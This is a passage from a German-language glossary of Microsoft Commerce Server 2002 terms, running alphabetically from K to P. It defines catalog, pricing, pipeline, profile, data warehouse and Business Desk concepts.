Eines der Elemente eines mehrwertigen Klassenschlüssels.

Klickhäufigkeit

Die Anzahl der Klicks dividiert durch die Reichweite der Klicks.

Siehe auch: Reichweite

Knoten

Eine grafische Darstellung eines Attributs, wie sie vom Vorhersagemodell-Viewer angezeigt wird.

Siehe auch: Attribut

Konfigurationsabschnittshandler

Eine Klasse, die die IConfigurationSectionHandler-Schnittstelle implementiert. Konfigurationsabschnittshandler enthalten Informationen, die von Commerce Server .NET-basierten Anwendungen zum Zwecke der Konfiguration von Anwendungseinstellungen zur Laufzeit gelesen werden.

Konsolenstruktur

Der linke Bereich einer MMC-Konsole (Microsoft Management Console), in dem die Elemente der Konsole dargestellt werden. Standardmäßig der linke Bereich des Konsolenfensters; dieser kann jedoch ausgeblendet werden. Die Elemente in der Konsolenstruktur und ihre hierarchische Anordnung bestimmen die Konsolenfunktionen.

Kreativkonzept

Der Inhalt, der in einem Werbezeitplan platziert werden soll. Dieser Begriff wird in der Werbebranche verwendet und bezeichnet die Eigentumsrechte am Inhalt. Sie können keine Änderungen an einer Anzeige vornehmen, ohne das Einverständnis der Firma einzuholen, der die Anzeige gehört.

Kunde

Eine Firma oder eine Person, für die Sie eine Kampagne durchführen. Ein Kunde kann eine Agentur, ein Werbungstreibender oder Ihr eigenes Unternehmen sein.

Kundenwährung

Die vom Benutzer zur Anzeige der Preise in der Site ausgewählte Währung. Die Kundenwährung wird nur für die Anzeige verwendet (sofern als Kundenwährung eine andere Währung als die Basiswährung festgelegt wurde). Bestellungen werden von der Order Processing Pipeline immer unter Verwendung der Basiswährung der Site verarbeitet. Das Feld "buyer_currency" wird in der Kopfzeile des Bestellformulars gespeichert.

Siehe auch: Basiswährung, Lieferantenwährung, Bestellung in mehreren Währungen

L

Länder-/Regionalcode

Ein aus drei Zeichen bestehender Datencode, der in Commerce Server Business Desk verwendet wird, um das Land oder die Region festzulegen, in das bzw. die Produkte geliefert oder mit dem oder der Geschäfte abgewickelt werden. Länder-/Regionalcodes müssen eingerichtet werden, um das Modul "Steuersätze" in Business Desk verwenden zu können.

Lastenausgleich

Skalieren der Leistung eines serverbasierten Programms, z. B. eines Webservers, indem dessen Clientanforderungen über mehrere Server innerhalb des Serverclusters verteilt werden. Entweder legt jeder Host den Lastenanteil fest, den er übernehmen möchte, oder die Last wird gleichmäßig über alle Hosts verteilt. Weist ein Host einen Fehler auf, wird die Last dynamisch unter den verbleibenden Hosts aufgeteilt. Netzwerklastenausgleich ist die von Windows Clustering verwendete Lösung für den Lastenausgleich. Er ist jedoch nur unter Windows 2000 Advanced Server verfügbar.

LCID

Siehe Währungsgebietsschema-ID (LCID).

Lieferant

Ein Handelspartner in einer Business-To-Business-Site Verwenden Sie Microsoft BizTalk Server zum Hinzufügen von Lieferanten zu einer Site. Auch bekannt als Verkäufer.

Lieferantenwährung

Die Basiswährung des Unternehmens, das die Website mit Gütern versorgt. Die Lieferantenwährung muss nicht mit der Kundenwährung und der Basiswährung übereinstimmen. Das Feld "supplier_currency" wird im Einzelposten des Bestellformulars gespeichert.

Siehe auch: Kundenwährung, Bestellung in mehreren Währungen, Basiswährung, Transaktion in mehreren Währungen

ListBox-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC) für das Kopieren und Verschieben von Daten zwischen zwei Listen.

ListEditor-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Bearbeiten von Tabellendaten verwendet wird, wenn die Bearbeitung der einzelnen Datensätze in einer separaten Tabelle unterhalb der Tabelle mit der Liste vorgenommen wird.

Listen-Manager (Modul)

Das Modul von Commerce Server Business Desk, das zum Erstellen, Importieren, Exportieren, Kopieren, Löschen und Zusammenführen von Benutzerdatensatzlisten verwendet wird. Sie können beispielsweise eine Empfängerliste für eine Direktsendungskampagne erstellen.

Listen-Manager-Datenbank

Eine Datenbank, in der Benutzerdatensatzlisten gespeichert sind. Sie können Benutzerdatensatzlisten mithilfe des Moduls "Listen-Manager" in Commerce Server Business Desk erstellen. Diese Listen können von Direct Mailer verwendet werden, um eine Direktsendungskampagne durchzuführen, und stehen auch im Modul "Benutzer" in Business Desk zur Verfügung.

Listen-Manager-Dienst

Ein Windows 2000-Dienst, der die Tasks durchführt, die sie mithilfe des Moduls "Listen-Manager" in Commerce Server Business Desk festlegen. Sie können z. B. Benutzerdatensatzlisten erstellen, löschen, importieren, exportieren, kopieren oder zusammenführen. Zum Erstellen einer Liste können Sie Daten aus Flatfiles (unstrukturierten Dateien), einer SQL Server-Datenbank, dem Data Warehouse oder Vorhersagesegmenten importieren. Listen können in Flatfiles oder eine SQL Server-Datenbank exportiert werden.

Listenpreiserhöhung

Ein fester Betrag, der zum Listenpreis addiert wird und einen benutzerdefinierten Preis ergibt.

Listenpreisnachlass

Ein fester Betrag, der vom Listenpreis abgezogen wird und einen benutzerdefinierten Preis ergibt.

Listenseite

Eine der zwei Haupt-Aktionsseitentypen in Commerce Server Business Desk. Listenseiten stellen eine schreibgeschützte Ansicht einiger Datentypen bereit and lassen im Allgemeinen das Filtern, Sortieren und Auswählen von Daten sowie weitere Aktionen in Bezug auf Daten zu. Sie bestehen im Allgemeinen aus einer ListSheet-HTC und manchmal auch zusätzlich aus einem Suchbereich oberhalb der ListSheet-HTC. Listenseiten verwenden den Business Desk-Arbeitsbereich gemeinsam mit dem Navigationsbereich.

Siehe auch: Bearbeitungsseite

ListSheet-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Anzeigen einer Liste von Datensätzen und zum Auswählen von Datensätzen für die Bearbeitung verwendet wird. Die ListSheet-HTC ist schreibgeschützt.

Logisches Data Warehouse-Schema

Siehe Logisches Schema.

Logisches Schema

Ein Konzeptmodell im Data Warehouse, das den Daten in einem physischen Speicher zugeordnet ist und eine verständliche Sicht der Daten bietet. Sobald ein Entwickler Code erstellt, um auf Daten im Data Warehouse zuzugreifen oder diese zu ändern, interagiert er mit dem logischen Schema. Commerce Server-Prozesse greifen über das logische Schema auf Daten im Data Warehouse zu.

Lokaler Währungsbezeichner (LCID)

Kennzeichnet das Gebietsschema für die Währungshandhabung. Der Standardwert ist null; bei dieser Einstellung wird die Standardgebietsschema-ID des Servers verwendet.

Lösungssite

Ein Satz von Commerce Server-Funktionen, die für ein bestimmtes Siteszenario vorkonfiguriert und in einer Paketdatei gebündelt sind. Commerce Server beinhaltet auch eine leere Lösungssite. Die beiden weiteren Sites, "Retail" und "Supplier" sind unter http://www.microsoft.com/germany/servers/commerceserver/2000/solutionsites.htm online verfügbar. Jede Lösungssite wurde so konzipiert, dass sie entpackt und den Erfordernissen der Site angepasst werden kann.

M

Massenkopierprogramm (BCP)

Ein Dienstprogramm der Eingabeaufforderung zur Erstellung von Massenkopien, mit dem SQL Server-Daten in einem benutzerdefinierten Format in eine bzw. aus einer Betriebssystemdatei kopiert werden können.

Masterkonfigurationsdatei

Die XML-Konfigurationsdatei, die die in einer bestimmten Instanz von Commerce Server Business Desk verfügbaren Kategorien und Module definiert. Jeder Moduleintrag identifiziert eine Modulkonfigurationsdatei, die die Konfigurationsinformationen für dieses Modul enthält.

Materialisieren

Dient zum Konvertieren des Snapshots eines virtuellen Katalogs in einen Basiskatalog. Ein materialisierter virtueller Katalog verfügt in Bezug auf alle Suchvorgänge über die gleiche Leistungsfähigkeit wie ein Basiskatalog, wird aber als virtueller Katalog bearbeitet. Um eine höhere Leistungsfähigkeit zu erzielen, wird die Materialisierung aller aggregierten virtuellen Kataloge empfohlen. Zum Materialisieren eines virtuellen Katalogs kann der Systemadministrator das Skript "materialize.vbs" ausführen, das als Bestandteil des Siteveröffentlichungsprozesses ausgeführt werden kann. Alternativ kann der Systemadministrator die Produktkatalogsystem-API verwenden, um das CatalogFlags-Attribut des virtuellen Katalogs auf 1 zu setzen. Der virtuelle Katalog wird dann jedes Mal materialisiert, wenn er erstellt wird.

Siehe auch: Virtueller Katalog, Basiskatalog, Aggregierter Katalog

MD5-Hashalgorithmus

Ein von RSA Data Security, Inc., entwickeltes unidirektionales Industriestandard-Hashsystem (128 Bit), das zum Zwecke der verschlüsselten Authentifizierung eingesetzt wird. Ein Hashschema ist eine Methode, um Daten (z. B. ein Kennwort) so zu transformieren, dass ein eindeutiges Ergebnis zurückgegeben wird, dessen ursprünglicher Zustand aber nicht mehr wiederhergestellt werden kann.

MDX

Siehe Multidimensional Expression (MDX).

Measure

Im Allgemeinen numerische Daten, die ein Geschäftsereignis messen. Beispielsweise ist die Zahl der Käufe, die ein Benutzer tätigt, ein Measure.

Siehe auch: Dimension, Gruppierte Berichte

Messagingport

Ein mithilfe von BizTalk Messaging Manager konfigurierter Satz von Regeln, mit dem Sie bestimmen können, wie Dokumente umwickelt, gesichert und zur vorgesehenen Zielorganisation transportiert werden.

Metadaten

Daten, die zur Beschreibung anderer Daten verwendet werden. Ein Beispiel dafür ist der Datentyp, der eine Eigenschaft weiter beschreibt.

MHTML

Siehe MIME Encapsulation of Aggregate HTML Documents (MHTML)

Microsoft intermediate language (MSIL)

Eine Sprache, die von einer Reihe von Compilern als Ausgabe und von einem Just-In-Time-Compiler (JIT) als Eingabe verwendet wird. Die Laufzeit enthält mehrere JIT-Compiler für die Umwandlung von MSIL in nativen Code.

Siehe auch: verwalteter Code

Microsoft Management Console (MMC)

Ein Rahmen zum Bereitstellen von Verwaltungstools, den so genannten Konsolen. Eine Konsole kann Tools, Ordner, andere Container, Webseiten und andere Verwaltungselemente enthalten. Diese Elemente werden im linken Bereich der Konsole, der Strukturansicht, angezeigt. Eine Konsole enthält ein oder mehrere Fenster, die Ansichten der Konsole liefern können. Das Hauptfenster von MMC stellt Befehle und Tools für Autorenkonsolen bereit.

Siehe auch: Snap-In

MIME

Siehe Multipurpose Internet Mail Extensions (MIME).

MIME Encapsulation of Aggregate HTML Documents (MHTML oder Einschließen von aggregierten HTML-Dokumenten mit MIME)

Ein Nachrichtenformat, das von Direct Mailer unterstützt wird. Wenn Sie für die Formatierung einer Direct Mailer-Nachricht MHTML auswählen, können Sie Webseiten ganz oder teilweise als Nachricht senden. Die Nachricht kann die HTML-Formatierung, Grafiken und anderen in der ursprünglichen Webseite enthaltenen Elemente oder Teile davon umfassen.

Siehe auch: Multipurpose Internet Mail Extensions (MIME)

Mittels Drilldownsuche auffindbar

Ein Ja/Nein-Flag in einer Eigenschaftsdefinition, das anzeigt, ob die Eigenschaft durch eine Drilldownsuche gefunden werden kann.

MMC

Siehe Microsoft Management Console (MMC).

Modulkonfigurationsdatei

Eine XML-Konfigurationsdatei, die die Aktionen, Aufgaben und Eintrittspunkte für ein Modul oder einen Satz von Modulen von Commerce Server Business Desk festlegt. Moduleintrittspunkte identifizieren die Kategorie, der sie zugeordnet sind.

MSCSAuth-Ticket

Siehe Authentifizierungsticket.

MSCSProfile-Ticket

Siehe Profilticket.

MSIL

Siehe Microsoft intermediate language (MSIL)

Multidimensional Expression (MDX)

Ein Ausdruck, der zum Abfragen und Verändern der in OLAP-Servercubes gespeicherten multidimensionalen Daten verwendet wird.

Multiplechoiceeigenschaft

Eine Eigenschaft, die einen Satz von vorbestimmten Werten enthält. Sie können beispielsweise eine Multiplechoiceeigenschaft namens "Shirt_Size" erstellen und die folgenden möglichen Werte festlegen: S, M und L.

Multipurpose Internet Mail Extensions (MIME)

Ein Standard, der das Simple Mail Transfer Protocol (SMTP) erweitert, um die Übertragung von Daten wie Video, Musik und Binärdateien über Internet-E-Mail ohne vorherige Konvertierung in das ASCII-Format zu ermöglichen.

Siehe auch: MIME Encapsulation of Aggregate HTML Documents (MHTML oder Einschließen von aggregierten HTML-Dokumenten mit MIME)

Muster mit mehreren Instanzen

Ein Entwurfsmuster, das die Erstellung mehrerer Instanzen einer einzelnen Ressourcen ermöglicht.

Siehe auch: Singleton-Muster

N

Nachrichtenkopf

Der erste Teil einer E-Mail-Nachricht, in dem die Adresse des Empfängers, das Nachrichtenformat, die Sprache und optional der global eindeutige Bezeichner (GUID) angegeben werden.

Nachrichtentext

Der in einer E-Mail-Nachricht übermittelte Inhalt.

Namespace

Ein logisches Benennungsschema zur Gruppierung zusammenhängender Typen. Beispielsweise verwendet das .NET Framework ein hierarchisches Benennungsschema, um Typen in logische Kategorien mit ähnlichen Funktionalitäten zu gruppieren, z. B. das ASP .NET-Anwendungsframework oder Remotefunktionalität. Entwicklungstools können Namespaces verwenden, um Entwicklern die Suche nach und Referenzierung von Typen im Code zu erleichtern. Das Konzept eines Namespace ist nicht mit dem einer Assembly vergleichbar: Eine einzelne Assembly kann Typen enthalten, deren hierarchische Namen aus verschiedenen Namespaces stammen, und ein logischer Namespacestamm kann mehrere Assemblies umfassen. Im .NET Framework ist ein Namespace eine bequeme Methode, während des Entwurfs Typen zu benennen, während eine Assembly den Namensbereich der Typen zur Laufzeit bestimmt.

Siehe auch: Assembly

Navigationsbereich

Das Fenster auf der linken Seite einer Listenseite in Commerce Server Business Desk, das die Hierarchie von Kategorien und Modulen grafisch darstellt.

Nicht durchgeführte Pipeline

Eine Pipeline, die keine COM+-Transaktionen unterstützt. MtsPipeline und PooledPipeline sind die einzigen Objekte, die nicht durchgeführte Pipelines unterstützen.

Siehe auch: Pipeline, Pipelineobjekt, Durchgeführte Pipeline

Nicht registrierter Benutzer

Eine Person, die eine Website besucht, ohne die zur Registrierung notwendigen persönlichen Daten und Identifizierungsinformationen bereitzustellen.

Nicht verwalteter Code

Code, der ohne Berücksichtigung der Konventionen und Anforderungen der Laufzeit erstellt wird. Nicht verwalteter Code wird in der Common Language Runtime mit minimalen Diensten ausgeführt (z. B. ohne Garbagecollection, mit begrenztem Debugging usw.).

Nicht-Commerce-Anwendung

Ein Container von Nicht-Commerce-Webservern mit den üblichen Anwendungseigenschaften. Dies stellt eine Analogie zur einer Commerce-Anwendung und ihrer Commerce-Webserverelemente dar.

Nicht-Commerce-Webserver

Ein Webserver, auf dem Commerce Server nicht installiert wurde. Dieser erzeugt Protokolldateien im W3C-Format, die in das Data Warehouse importiert und zur Analyse verwendet werden kölnnen. Ein Nicht-Commerce-Webserver kann Internet-Informationsdienste (IIS) ausführen oder nicht.

NOD

Siehe Bereitstellungsbedarf (NOD, Need of Delivery).

O

Offener Besuch

In Business Desk-Berichten ein Besuch, der noch nicht abgeschlossen ist, wenn eine Protokolldatei das Sammeln von Daten beendet. Wenn Sie z. B. die Protokolldateirotation so einrichten, dass jeden Tag ab 0:00:01 die Siteaktivität in einer neuen Protokolldatei aufgezeichnet wird, erscheinen im Bericht für Montag offene Besuche, falls Benutzer am Montagabend mit dem Besuch der Site begonnen haben und am Dienstag nach 0:00:01 noch in der Site sind.

Siehe auch: Protokolldatei, Abgeschlossener Besuch, Besuch

Öffentlicher Schlüssel

Die nicht geheime Hälfte eines kryptographischen Schlüsselpaars, das für einen Algorithmus öffentlicher Schllüssel verwendet wird. Öffentliche Schlüssel werden i. d. R. zur Verschlüsselung von Daten verwendet, die dann mit dem entsprechenden privaten Schlüssel entschlüsselt werden können.

Siehe auch: Privater Schlüssel

OLAP

Siehe Analytische Onlineverarbeitung (OLAP, Online Analytical Processing).

Operative Daten

Daten, die täglich oder auf Grundlage eines anderen Zeitintervalls gesammelt werden, normalerweise in Form von Protokolldateien. Nach der Sammlung werden operative Daten häufig in das Data Warehouse importiert.

Order Processing Pipeline

Eine Softwareinfrastruktur, durch die mehrere Komponenten verknüpft und dann in Folge ausgeführt werden. In Commerce Server 2002 sind drei Order Processing Pipelines enthalten: Produkt, Planung und Einkauf.

OrderForm-Header

Die logische Gruppierung von Feldern im Stamm der OrderForm, die der Tabelle "OrderFormHeader" im Commerce Server Data Warehouse entsprechen.

Organisation

Eine Firma, Gruppe, Abteilung oder eine andere Geschäftseinheit in einer Firma, die in Commerce Server Business Desk als Quelle oder Ziel für den Austausch von Geschäftsdokumenten gekennzeichnet ist. Der Satz von Eigenschaften, der die Schlüsselmerkmale einer Organisation bezüglich des elektronischen Austauschs von Dokumenten darstellt, wird auch als Organisationsprofil bezeichnet. Eine Organisation ist eine Gruppierung von Benutzern.

Siehe auch: Organisationen (Modul)

Organisationen (Modul)

Ein Modul von Commerce Server Business Desk, das zum Hinzufügen, Ändern oder Löschen von Organisationsprofilen verwendet wird.

Siehe auch: Organisation

Organisationsprofil

Ein Satz von Eigenschaften, der eine Firma, Gruppe, Abteilung oder eine andere Geschäftseinheit in einer Firma beschreibt. Name, Kontonummer, Ausgabenbegrenzungen, Firmenpreisnachlass usw. stellen beispielsweise Eigenschaften dar, aus denen ein Organisationsprofil besteht. In Commerce Server Business Desk können Sie ein Organisationsprofil für Firmen einrichten, mit denen Sie Geschäftsbeziehungen unterhalten.

P

Paket

Eine vom Bereitstellungstool Commerce Server Site Packager erstellte Datei, die alle Daten enthält, die zum Bereitstellen einer Site auf einem anderen Computer notwendig sind. Dies umfasst auch Anwendungen und Ressourcen, einschließlich der in der Verwaltungsdatenbank gespeicherten Ressourceneigenschafteneinstellungen. Ein Paket enthält jedoch keine Eigenschafteneinstellungen, die spezifisch für einen bestimmten Computer sind (z. B. Verbindungszeichenfolgen). Paketdateien haben die Erweiterung PUP. <p>Auch: Eine spezifische Konfiguration von DTS-Tasks.</p>

Siehe auch: Data Transformation Services (DTS), Data Transformation Services-Task (DTS)

PE-Datei

Siehe Portable executable-Datei

Personalisierung

Ein Feature, mit dessen Hilfe Sie webbasierten Inhalt oder E-Mail-Nachrichten an Benutzer richten können, basierend auf deren Benutzerprofildaten und deren früheren Anfragen nach Inhalten.

Siehe auch: Zielgruppe, Kampagnenausdrücke (Modul), Commerce Server Direct Mailer, Vorhersageressource, Zielausdruck

Physischer Speicher

Die physischen Datenbanken, die das Data Warehouse enthalten.

PIA

Siehe Primäre Interop-Assembly.

Pipeline

Eine Softwareinfrastruktur, die eine oder mehrere Stufen eines Geschäftsprozesses definiert und miteinander verknüpft, sodass sie in korrekter Reihenfolge ausgeführt werden, um eine bestimmte Aufgabe zu erfüllen. Jede Stufe einer Pipeline enthält eine oder mehrere Pipelinekomponenten (COM-Objekte), die so konfiguriert werden können, dass Sie auf die individuellen Erfordernisse der Site abgestimmt funktionieren.

Siehe auch: Nicht durchgeführte Pipeline, Pipelineobjekt, Durchgeführte Pipeline, Direct Mailer-Pipeline, Inhaltsauswahlpipeline

Pipeline-Editor

Eine Anwendung, mit der Pipelinekonfigurationsdateien (Erweiterung PCF) in Commerce Server erstellt und bearbeitet werden. Im Pipeline-Editor werden Pipelines grafisch als Rohre dargestellt. Die einzelnen Abschnitte eines Rohrs stellen die Stufen der Pipeline dar. Die in einer Stufe verwenden Komponenten erscheinen als Ventile.

Pipelinekomponente

Ein COM-Serverobjekt (Component Object Model), in dem erforderliche Schnittstellen für Pipelinekomponenten implementiert sind. Jede Komponente führt bestimmte Operationen an einem Teil eines Bestellformular- oder Wörterbuchobjekts durch, bevor sie das Objekt an die nächste Komponente oder Stufe weitergibt.

Siehe auch: Direct Mailer-Pipeline, Inhaltsauswahlpipeline

Pipelinekonfigurationsdatei

Eine Datei, die Konfigurationsdaten für eine Pipeline enthält. Die in der Datei angegebene Pipeline wird von einem Pipelineobjekt erstellt und ausgeführt. Die Datei enthält Stufen und Komponenten, die mithilfe des Pipeline-Editors angepasst werden können.

Pipelinekonfigurationsvorlage

Eine Vorlagendatei, die für die Erstellung neuer Pipelines verwendet wird. Pipelines, die mithilfe einer Pipelinekonfigurationsvorlage erstellt wurden, werden als Pipelinekonfigurationsdateien (Erweiterung PCT) gespeichert. Die Vorlagen dienen als Grundlage für die Erstellung von benutzerdefinierten Pipelines. In jeder Vorlage können Stufen und Komponenten hinzugefügt, gelöscht und umbenannt werden.

Pipeline mit Poolingunterstützung

Ein Pipelineobjekt, das in COM+ registriert ist und so die Vorteile des Objektpoolings nutzen kann.

Pipelineobjekt

Ein Objekt, das unter Verwendung von Pipelinekonfigurationsdateien eine Reihe von Komponenten ausführt. In Commerce Server 2002 stehen sechs Objekte für die Pipelineausführung zur Verfügung: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, OrderGroup und OrderPipeline. Die Objekte "MtsPipeline" und "PooledPipeline" unterstützen keine COM+-Transaktionen.

Siehe auch: Nicht durchgeführte Pipeline, Pipeline, Durchgeführte Pipeline

PivotChart-Bericht

Ein Bericht, der in einem interaktiven Diagramm dargestellt wird. Sie können das Diagramm dazu verwenden, Daten grafisch anzuzeigen und in einer dem PivotTable-Bericht ähnlichen Weise neu anzuordnen. In Commerce Server können Sie dynamische Berichte als PivotChart-Berichte anzeigen. Verwenden Sie das Modul "Berichte" in Commerce Server Business Desk zum Anzeigen von PivotChart-Berichten.

PivotColumn

Eine Spalte in einer dicht oder gering gefüllten Tabelle, die die Identifikation der Eigenschaften enthält, die für die Vorhersage verwendet werden. Beispielsweise enthält die Spalte "PivotColumn" bei der Vorhersage von Produkten SKUs (Stock Keeping Units), bei der Vorhersage von Seitengruppen PageGroupIDs und bei der Vorhersage von Anzeigen AdIDs. Die "PivotColumn" wird in der Tabelle "PredictorDataTables" identifiziert.

Siehe auch: AggregateColumn, CaseColumn, Dicht gefüllte Tabelle, Gering gefüllte Tabelle

PivotTable-Bericht

Ein Bericht, der in einer interaktiven Tabelle dargestellt wird. Sie können die Reihen und Spalten der Tabelle drehen, um verschiedene Zusammenfassungen der Quelldaten zu sehen, die Daten filtern oder Detaildaten für verschiedene Interessengebiete darstellen. In Commerce Server können Sie dynamische Berichte als PivotTable-Berichte anzeigen. Verwenden Sie das Modul "Berichte" in Commerce Server Business Desk zum Anzeigen von PivotTable-Berichten.

Popularitätsabzug

Ein Abzug, der auf eine Vorhersage angewendet wird und die Wahrscheinlichkeit reduziert, dass ein beliebter (bekannter) Artikel empfohlen wird.

Port

Siehe Messagingport

Portable executable-Datei (PE)

Ein Dateiformat für ausführbare Programme und für Dateien, die miteinander verknüpft ausführbare Programme bilden.

Preiskategorie

Eine Kategorie, in der jedes Produkt den Preis aus dieser Kategorie erhält. Dies bedeutet, dass die Kategorie den auf der Produktebene zugewiesenen Preis außer Kraft setzt.

Preisnachlass

Ein bestimmter Werbungstyp, bei dem Einkäufern unter bestimmten Bedingungen Preisnachlässe auf bestimmte Produkte oder Produktgruppen angeboten werden. In Commerce Server besitzen Preisnachlässe eine Zielgruppenadressierungs- und eine Anzeigenkomponente.

Primäre Interop-Assembly (PIA)

Eine Assembly mit Metadaten, die vorhandene COM-Typen beschreiben, die bereits in einer COM-Typbibliothek beschrieben wurden. Wenn Sie in einer Typbibliothek definierte Typen verwenden, verweisen Sie immer auf die primäre Interop-Assembly für diese Typbibliothek, anstatt die Typen selbst noch einmal zu importieren oder definieren. Verwenden Sie nach Möglichkeit keine Interop-Assemblies, die keine primären Interop-Assemblies sind.

Siehe auch: Runtime Callable Wrapper, Assembly

Primäre übergeordnete Kategorie

Die übergeordnete Kategorie eines Produkts oder einer Kategorie, mit der der kanonische Pfad zu diesem Produkt bzw. dieser Kategorie ermittelt oder Preisberechnungsregeln der Kategorieebene auf das Produkt angewendet werden. Sie geben die primäre übergeordnete Kategorie an, wenn Sie eine Kategorie oder ein Produkt einer übergeordneten Kategorie zuweisen. Jede Kategorie und jedes Produkt kann nur über eine primäre übergeordnete Kategorie verfügen. Wenn ein Produkt mehr als einer Kategorie angehört, bestimmt die primäre übergeordnete Kategorie den kanonischen Pfad des Produkts.

Siehe auch: Kanonischer Pfad, Übergeordnete Kategorie

Primärschlüssel

Ein Feld bzw. mehrere Felder (z. B. in einer Spalte), dessen Wert oder Werte jeden Bericht in einer Tabelle eindeutig identifiziert bzw. identifizieren. Ein Primärschlüssel kann keine Nullwerte zulassen und muss einen eindeutigen Index aufweisen. Ein Primärschlüssel wird dazu verwendet, eine Verbindung einer Tabelle zu Fremdschlüsseln in einer anderen Tabelle herzustellen.

Siehe auch: Eindeutiger Schlüssel, Dualer Schlüssel, Referenzielle Integrität, Fremdschlüssel

Privater Schlüssel

Die geheime Hälfte eines kryptographischen Schlüsselpaars, das für einen Algorithmus öffentlicher Schllüssel verwendet wird. Private Schlüssel werden i. d. R. zur Entschlüsselung von Daten verwendet, die mit dem entsprechenden öffentlichen Schlüssel verschlüsselt wurden.

Siehe auch: Öffentlicher Schlüssel

Produkt

Ein Verkaufsartikel in einem Katalog. Jedes Produkt ist eine bestimmte Instanz einer Produktdefinition. Beispielsweise kann ein Produkt, das auf der Produktdefinition "Buch" basiert (die die Eigenschaften "Autor", "Titel" und "Listenpreis" aufweist), die Eigenschaften "Bill Gates", "Der Weg nach vorn. Die Zukunft der Informationsgesellschaft" und "DM 16,90" haben. Verwenden Sie das Modul "Katalog-Editor" in Business Desk zum Verwalten von Produkten.

Produktbezeichner

Eine erforderliche Eigenschaft, die Produkte innerhalb eines Katalogs eindeutig identifiziert, z. B. eine SKU (Stock-Keeping Unit). Ein Produktbezeichner kann nicht aus der Produktdefinition entfernt werden.

Produktbeziehung

Eine Möglichkeit, ein Produkt eines Katalogs mit einem anderen Produkt oder einer Kategorie zu verknüpfen. Drucker können z. B. mit Druckerfarbbändern oder Tintenpatronen verknüpft sein; diese Produkte wären jedoch Bestandteil verschiedener Kategorien. Eine Produktbeziehung hat einen Namen, der die Art der Beziehung anzeigt (z. B. "Zubehör"), und ein Quellprodukt oder eine Quellkategorie und ein Zielprodukt oder eine Zielkategorie. Verwenden Sie das Modul "Katalogdefinitions-Designer" in Business Desk zum Verwalten von Produktbeziehungen.

Produktdefinition

Die Eigenschaften, die in einem bestimmten Produkttyp verfügbar sind. Jedes Produkt ist mit einer Produktdefinition verbunden. Die Buchproduktdefinition könnte z. B. folgende Eigenschaften beinhalten: "Autor", "Titel" und "Listenpreis". Eine Produktdefinition muss einen Produktbezeichner enthalten, z. B. eine SKU (Stock-Keeping Unit), und hat immer eine Listenpreiseigenschaft. Verwenden Sie das Modul "Katalogdefinitions-Designer" in Business Desk zum Verwalten von Produktdefinitionen.

Produkteigenschaften

Die Eigenschaften, die eine Produktdefinition bilden. Die Produktdefinition "Buch" z. B. kann die folgenden Produkteigenschaften haben: "Autor", "Titel" und "Listenpreis". Verwenden Sie das Modul "Katalogdefinitions-Designer" in Business Desk zum Verwalten von Produkteigenschaften.

Produktfamilie

Ein Produkt, das Produktvarianten besitzt. So kann beispielsweise die Produktfamilie "Wasserabweisende Damenjacken" die folgenden Produkvarianten besitzen: rote Jacke, blaue Jacke und grüne Jacke. Eine Produktfamilie hat immer einen eindeutigen Bezeichner, z. B. den Namen des Produkts.

Produktkatalog (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Verwenden Sie die Ressource "Produktkatalog" zum Konfigurieren der Verbindungszeichenfolge zu der Datenbank, die die Katalogdaten enthält.

Produktpreisberechnung

Festlegung, wie viel einem bestimmten Benutzer für ein bestimmtes Produkt berechnet wird.

Produktvariante

Ein bestimmter Artikel, der mit verwandten Varianten gruppiert ist, die gemeinsam ein Produkt bilden. Die Varianten unterscheiden sich üblicherweise in einer Eigenschaft bzw. mehreren Eigenschaften. Ein grünes Hemd der Größe M mit der SKU (Stock-Keeping Unit) 14678 ist beispielsweise eine Produktvariante des Produkts "Hemd"; zusammen bilden Größe, Farbe und SKU eine Variante. Eine Produktvariante beinhaltet immer einen eindeutigen Bezeichner, z. B. eine SKU, und einen Preis. Die einzelnen Produktvarianten basieren auf derselben Produktdefinition.

Produktvarianteneigenschaften

Die Eigenschaften, die bei Produktvarianten unterschiedlich sind. Die Produktvariante "Größe M, grünes Hemd" hat z. B. zwei Produktvarianteneigenschaften: Größe und Farbe.

Profil

Ein Satz von Merkmalen, der jedes Geschäftselement definiert, z. B. einen Benutzer, ein Unternehmen oder einen Geschäftsvorgang. Jedes Profil ist eine individuelle Instanz einer Profildefinition. So könnte z. B. ein Profil, das auf der Profildefinition "Neuer Benutzer" basiert, die Eigenschaften "Cornelia Kunze", "52", "Weiblich" haben. Sie können die Profildaten angeben, die das Modul "Benutzer" über die Besucher Ihrer Site sammelt. Mögliche Informationen sind Name, Alter, Geschlecht, Adresse.

Profildefinition

Die Eigenschaften, die in einem bestimmten Profiltyp verfügbar sind. Jedes Profil ist mit einer Profildefinition verknüpft. Die Profildefinition "Neuer Benutzer" könnte beispielsweise die folgenden Eigenschaften enthalten: Name, Alter, Adresse usw. Verwenden Sie das Modul "Profildefinitions-Designer" in Business Desk zum Verwalten von Profildefinitionen.

Profildefinitions-Designer (Modul)

Dieses Modul von Commerce Server Business Desk wird dazu verwendet, Profildefinitionen hinzuzufügen oder zu ändern.

ProfileDesigner-HTML-Komponente (HTC)

Eine HTML-Komponente, mit der Profile, z. B. Benutzerprofile, bearbeitet werden können.

Profileigenschaft

Ein Merkmal, das festlegt, welche Profildaten erhoben werden, wenn ein Benutzer die Website besucht. So legt die Eigenschaft "Vorname" z. B. fest, dass der Vorname des Benutzers erfasst werden soll. Verwenden Sie das Modul "Profildefinitions-Designer" in Business Desk zum Verwalten von Profileigenschaften.

Profileigenschaftsattribut

Ein Merkmal, das eine Profileigenschaft beschreibt. Profileigenschaftsattribute enthalten Informationen wie den Datentyp der Profileigenschaft (z. B. Zahl, Text oder Dezimal), ob die Eigenschaft einwertig ist (z. B. nur ein Vorname zugelassen ist) oder mehrwertig und ob der Benutzer, der die Website besucht, eine Suche unter Verwendung der Eigenschaft durchführen kann.

Profilressource

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf globaler Ebene. Mithilfe der Profilressource kann die Datenbank-Verbindungszeichenfolge für die Datenbank angegeben werden, die Benutzerprofildaten enthält. Außerdem können mit der Profilressource Profileigenschaften und Profile erstellt, bearbeitet und gelöscht werden. Sie können Datenquellen, beispielsweise SQL Server-Datenbanken oder Active Directory-Datenquellen, hinzufügen und entfernen.

Siehe auch: Biz Data-Dienst

Profilticket

